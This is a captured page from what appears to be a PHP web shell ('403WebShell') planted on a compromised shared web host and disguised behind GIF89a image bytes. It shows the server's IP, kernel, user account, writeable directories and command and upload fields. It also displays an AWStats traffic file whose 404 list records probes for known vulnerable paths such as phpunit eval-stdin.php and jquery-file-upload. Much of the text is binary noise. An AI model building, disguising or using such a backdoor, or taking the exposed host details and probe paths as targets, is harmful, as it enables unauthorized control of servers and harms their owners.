GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/./tmp/awstats/ssl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/./tmp/awstats/ssl/awstats122021.ahsaw.com.2az.dev.txt
AWSTATS DATA FILE 7.7 (build 20180105)
# If you remove this file, all statistics for date 202112 will be lost/reset.
# Last config file used to build this data file was /home/oazdxchh/tmp/awstats/ssl/awstats.ahsaw.com.2az.dev.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2018                
POS_TIME 2706                
POS_VISITOR 16964               
POS_DAY 30732               
POS_DOMAIN 3559                
POS_LOGIN 4296                
POS_ROBOT 4451                
POS_WORMS 5193                
POS_EMAILSENDER 5324                
POS_EMAILRECEIVER 5467                
POS_SESSION 31562               
POS_SIDER 31763               
POS_FILETYPES 5602                
POS_DOWNLOADS 5839                
POS_OS 5887                
POS_BROWSER 6155                
POS_SCREENSIZE 8272                
POS_UNKNOWNREFERER 8346                
POS_UNKNOWNREFERERBROWSER 8977                
POS_ORIGIN 9351                
POS_SEREFERRALS 9492                
POS_PAGEREFS 9655                
POS_SEARCHWORDS 9944                
POS_KEYWORDS 10096               
POS_MISC 2369                
POS_ERRORS 10155               
POS_CLUSTER 4152                
POS_SIDER_404 10318               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20220101002629 1819 1450629 10442872825988
FirstTime 20211201002206
LastTime 20211231231447
LastUpdate 20220101070440 1819 0 1818 0 0
TotalVisits 515                 
TotalUnique 347                 
MonthHostsKnown 0                   
MonthHostsUnknown 352                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavascriptDisabled 0 0 0
PDFSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
FlashSupport 0 0 0
QuickTimeSupport 0 0 0
JavaEnabled 0 0 0
AddToFavourites 0 15 0
DirectorSupport 0 0 0
RealPlayerSupport 0 0 0
TotalMisc 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 30 30 176330 82 115 592350
1 128 128 381896 452 459 723398
2 73 110 977232 93 102 245569
3 54 66 688493 79 98 332081
4 48 60 505858 51 73 860562
5 46 66 622147 104 114 248059
6 38 38 103156 50 64 171223
7 54 54 137958 110 124 291043
8 36 43 268856 149 157 230808
9 118 124 471846 2248 2313 5090448
10 60 72 619229 70 78 65501
11 46 46 121427 49 64 138298
12 63 75 553383 113 126 264054
13 364 376 1658875 1689 1699 2629078
14 32 32 82470 39 65 521298
15 59 71 528856 1213 1222 1947736
16 44 74 930980 53 71 212323
17 42 54 485993 64 70 88367
18 65 82 684313 1718 1746 3222298
19 27 28 72122 76 95 240525
20 51 51 135865 96 120 519633
21 48 72 861837 77 84 208571
22 42 42 400900 81 107 271785
23 53 65 520192 102 121 221758
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 37
ip 557 557 1707341
ru 331 346 1555291
us 313 502 6388453
ua 107 107 290886
cn 32 53 525934
gr 26 26 76499
il 24 24 64205
fr 20 20 149224
de 19 19 51517
gb 19 19 55580
nl 16 16 50272
ca 14 14 134182
tw 13 13 37125
it 12 12 31814
cl 11 11 29240
au 11 11 31602
no 11 23 574674
se 9 9 27063
cw 9 9 25800
kz 7 7 20863
vg 6 6 16563
in 6 6 11591
ro 6 6 18122
cz 5 5 14611
eu 5 5 13109
md 2 2 5337
pl 3 3 11416
id 1 1 3188
al 3 3 6993
dk 4 4 10015
at 2 2 5887
fi 3 3 7148
mt 2 2 6133
lt 3 3 9018
th 3 3 7274
tr 4 5 10363
ph 2 2 5881
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 15
(firefox/)([0-9]\.|[0-1][0]\.) 585 2316332 20211231090912 0
baidu 73 1868975 20211226205701 0
bot[\s_+:,\.\;\/\\-] 71 1179462 20211230230833 0
bingbot/ 40 510343 20211227204934 0
Googlebot/ 29 266434 20211228144419 0
no_user_agent 22 250814 20211229080712 0
Apache\-HttpClient/ 20 58862 20211209031840 0
BLEXBot/ 10 122470 20211226045025 0
bingpreview 9 678950 20211221040852 0
MJ12bot/ 9 119515 20211228233135 0
SemrushBot/ 7 113643 20211230213947 0
Googlebot\-Image/ 7 56999 20211231040757 0
crawl 5 107746 20211225044749 0
Baiduspider/ 4 11767 20211226205649 0
facebookexternalhit/ 2 5882 20211217192407 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 9
css 70 996802 0 0
php 9 333 0 0
Unknown 1174 4133617 0 0
png 19 394861 0 0
woff 31 1328384 0 0
ttf 2 162444 0 0
woff2 14 1080240 0 0
html 391 1192177 0 0
js 149 2701356 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 15
win7 425 390
winnt 2 2
win8.1 112 112
macosx10 1 1
winlong 349 349
linux 120 78
macosx9 2 2
macosx8 2 2
Unknown 73 73
win10 474 384
ios_iphone 6 6
win8 44 44
winxp 92 92
macosx 88 58
linuxandroid 69 28
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 96
chrome37.0.2062.124 1 1
chrome73.0.3683.90 2 2
firefox94.0 1 1
firefox68.0 2 2
chrome79.0.3945.130 2 2
chrome90.0.4430.93 129 129
chrome49.0.2623.75 2 2
seamonkey 87 87
firefox66.0 1 1
firefox84.0 10 10
chrome76.0.3809.71 48 12
chrome76.0.3809.132 17 4
firefox35.0 1 1
Unknown 66 66
chrome90.0.4427.0 21 21
chrome96.0.4664.45 32 8
chrome81.0.4044.138 2 2
chrome61.0.3116.0 1 1
chrome4.0.222.3 87 87
chrome96.0.4664.110 16 4
chrome39.0.2171.95 1 1
chrome81.0.4044.129 1 0
chrome91.0.4472.114 47 14
chrome62.0.3202.94 1 1
chrome90.0.4430.86 22 22
chrome67.0.3372.0 1 1
chrome67.0.3396.99 17 17
chrome94.0.4606.81 18 3
mozilla 10 8
chrome74.0.3729.157 2 2
msie6.0 1 1
chrome88.0.4240.193 6 6
firefox28.0 1 1
chrome35.0.1916.47 2 2
chrome92.0.4515.159 17 17
safari4.0.2 338 338
chrome77.0.3865.90 4 4
chrome41.0.2227.1 13 13
chrome60.0.3112.107 6 6
chrome41.0.2224.3 4 4
chrome95.0.4638.69 1 1
iceweasel 2 2
chrome61.0.3163.79 17 17
chrome79.0 1 1
chrome79.0.3945.88 2 2
chrome96.0.4664.93 1 1
chrome67.0.3396.0 1 1
msie8.0 2 2
chrome89.0.4389.114 6 6
chrome71.0.3578.98 2 2
chrome83.0.4103.61 45 10
chrome51.0.2704.103 5 5
chrome75.0.3770.100 4 4
chrome89.0.4389.128 6 1
opera53.0.2907.68 4 4
chrome79.0.3945.79 93 56
chrome74.0.3729.169 8 8
chrome41.0.2228.0 6 6
chrome78.0.3904.108 8 8
chrome84.0.4147.105 22 22
chrome90.0.4430.72 197 197
chrome85.0.4183.121 1 1
opera55.0.2994.44 5 5
chrome26.0.1410.65 2 2
chrome68.0.3440.84 1 1
safari10.0 2 2
safari11.0 1 1
safari14.0.3 3 3
opera12.16 18 6
chrome80.0.3987.132 2 2
chrome70.0.3538.102 1 1
firefox81.0 13 13
edge17 1 1
chrome68.0.3440.106 8 8
chrome83.0.4103.116 1 1
chrome89.0.4472.114 1 0
chrome26.0.1410.63 2 2
opera50.0.2762.58 2 2
chrome89.0.4389.90 1 1
opera53.0.2907.99 4 4
chrome22.0.1207.1 6 6
chrome90.0.4400.8 11 11
firefox72.0 1 1
chrome90.0.4430.85 241 241
chrome83.0.4103.97 9 9
chrome80.0.3987.149 3 3
firefox60.0 1 1
firefox62.0 1 1
firefox89.0 1 1
safari 1 1
chrome41.0.2226.0 13 13
chrome67.0.3396.87 9 9
chrome41.0.2225.0 1 1
chrome70.0.3538.80 1 1
chrome65.0.3325.109 2 2
chrome75.0.3765.0 16 4
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 12
Go_http_package 20211231181343
PostmanRuntime/7.26.8 20211231093208
panscient.com 20211204221122
R_(4.1.0_x86_64-w64-mingw32_x86_64_mingw32) 20211201030029
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20211227101002
ALittle_Client 20211215085541
Mozilla/5.0_Firefox/35.0 20211211122831
Mozilla/5.0_(compatible) 20211217161404
Mozilla/5.0_(compatible;_NetcraftSurveyAgent/1.0;__info@netcraft.com) 20211201152033
python-requests/2.26.0 20211221195740
python-requests/2.21.0 20211214132459
GRequests/0.10 20211229210324
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 8
python-requests/2.21.0 20211214132459
python-requests/2.26.0 20211221195740
R_(4.1.0_x86_64-w64-mingw32_x86_64_mingw32) 20211201030029
panscient.com 20211204221122
GRequests/0.10 20211229210324
Go_http_package 20211231181343
PostmanRuntime/7.26.8 20211231093208
ALittle_Client 20211215085541
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 773 781
From1 0 0
From2 2 2
From3 25 25
From4 821 1051
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
www_google_com 2 2
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 5
https://172.67.137.41 11 11
https://104.21.7.183 11 11
https://www.klfd.net 1 1
https://www.blogworld.top 1 1
https://www.iblogpress.xyz 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 6
400 1585 3082719
404 902 1710711
301 241 161903
403 5073 6234717
500 1 28686
302 577 0
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 189
/bak/ 1 http://ahsaw.com/bak/
/a.php 1 https://ahsaw.com/a.php
/js 1 -
/dev/rss/catalog/notifystock 1 -
/site/login/wordpress/wp-includes/wlwmanifest.xml 25 -
/public/plugins/jquery-file-upload/server/php/index.php 1 -
/api.php 1 https://ahsaw.com/api.php
/admin/controller/extension/extension/ 7 binance.com
/login.aspx 1 http://ahsaw.com
/.well-known/ 7 binance.com
/data.php 1 https://ahsaw.com/data.php
/admin/view/stylesheet/accesson.php 1 -
/store/rss/catalog/review 1 -
/store/errors/503.php 1 -
/idotensei.php 1 -
/phpinfo.php 3 -
/downloader/index.php 1 -
/store/index.php/admin/ 1 -
/store 1 -
/site/login/cms/wp-includes/wlwmanifest.xml 25 -
/cache/index3.php 1 -
/temp/ 1 http://ahsaw.com/temp/
/public/assets/plugins/jquery-file-upload/server/php/index.php 1 -
/2020/ 1 http://ahsaw.com/2020/
/newsleter.php 1 https://ahsaw.com/newsleter.php
/admin/index.php 6 -
/public/assets/jquery-file-upload/server/php/index.php 1 -
/405.php 1 https://ahsaw.com/405.php
/v1/ 1 http://ahsaw.com/v1/
/cgi/mt/mt-xmlrpc.cgi 1 -
/demo/index.php/admin/ 1 -
/old/rss/order/new 1 -
/backup/ 1 http://ahsaw.com/backup/
/mobile/v3/login.do 1 -
/shop/downloader/index.php 1 -
/dev/downloader/index.php 1 -
/site/login/media/wp-includes/wlwmanifest.xml 11 -
/priv.php 1 https://ahsaw.com/priv.php
/demo/server/php/index.php 2 -
/site/login/wp2/wp-includes/wlwmanifest.xml 24 -
/staging/rss/order/new 1 -
/wp-login.php/ 1 -
/conf1g.php 1 https://ahsaw.com/conf1g.php
/old-wp/ 1 http://ahsaw.com/old-wp/
/demo/ 1 http://ahsaw.com/demo/
/store/downloader/index.php 1 -
/400.php 1 https://ahsaw.com/400.php
/site/login/wp-includes/wlwmanifest.xml 30 -
/magento/index.php/admin/ 1 -
/shop/rss/order/new 1 -
/magento/errors/503.php 1 -
/journal/88jed.php 2 https://ahsaw.com
/shop/rss/catalog/notifystock 1 -
/demo/downloader/index.php 1 -
/wp-login.php 37 http://ahsaw.com/wp-login.php
/sites/all/libraries/plupload/examples/upload.php 1 -
/magento/downloader/index.php 1 -
/index3.php 1 -
/mt/mt-xmlrpc.cgi 1 -
/_profiler/phpinfo 3 -
/wp2/ 1 http://ahsaw.com/wp2/
/shop/errors/503.php 1 -
/wp-content/plugins/capability-manager-enhanced/common/js/admin.dev.js 1 -
/setting.php 1 https://ahsaw.com/setting.php
/kcfinder/upload.php 1 -
/old/ 1 http://ahsaw.com/old/
/info.php 3 -
/test/errors/503.php 1 -
/main/ 1 http://ahsaw.com/main/
/.php.php 1 https://ahsaw.com/.php.php
/config.js 3 -
/errors/503.php 1 -
/staging/rss/catalog/notifystock 1 -
/old/rss/catalog/review 1 -
/logs.php 1 https://ahsaw.com/logs.php
/wp-admin/css/ 7 binance.com
/journal/sitemap.xml 4 -
/.well-known/acme-challenge/menu_settings.php 1 -
/dev/errors/503.php 1 -
/new/ 1 http://ahsaw.com/new/
/bk/ 1 http://ahsaw.com/bk/
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
/demo/rss/catalog/review 1 -
/hello.php 1 https://ahsaw.com/hello.php
/downloader 1 -
/s_e.php 1 -
/old/index.php/admin/ 1 -
/shop 1 -
/test/rss/order/new 1 -
/magento/rss/catalog/review 1 -
/magento/rss/catalog/notifystock 1 -
/dump.php 1 https://ahsaw.com/dump.php
/footer.php 1 https://ahsaw.com/footer.php
/sitemap.xml 3 -
/cname.php 1 https://ahsaw.com/cname.php
/site/login/web/wp-includes/wlwmanifest.xml 25 -
/store/rss/catalog/notifystock 1 -
/rss/catalog/notifystock 1 -
/site/login/site/wp-includes/wlwmanifest.xml 25 -
/php-ofc-library/ofc_upload_image.php 1 -
/site/login/2018/wp-includes/wlwmanifest.xml 11 -
/site/login/blog/wp-includes/wlwmanifest.xml 25 -
/staging/rss/catalog/review 1 -
/conf.php 1 https://ahsaw.com/conf.php
/home/ 1 http://ahsaw.com/home/
/cgi-bin/mt-xmlrpc.cgi 1 -
/robots.txt 162 -
/menus.php 1 https://ahsaw.com/menus.php
/staging/downloader/index.php 1 -
/public/assets/global/plugins/jquery-file-upload/server/php/index.php 1 -
/radio.php 1 https://ahsaw.com/radio.php
/site/login/test/wp-includes/wlwmanifest.xml 25 -
/new.php 1 https://ahsaw.com/new.php
/test/index.php/admin/ 1 -
/store/rss/order/new 1 -
/site/login/website/wp-includes/wlwmanifest.xml 24 -
/staging/errors/503.php 1 -
/shop/index.php/admin/ 1 -
/cms/ 1 http://ahsaw.com/cms/
/dev/rss/order/new 1 -
/mt6/mt-xmlrpc.cgi 1 -
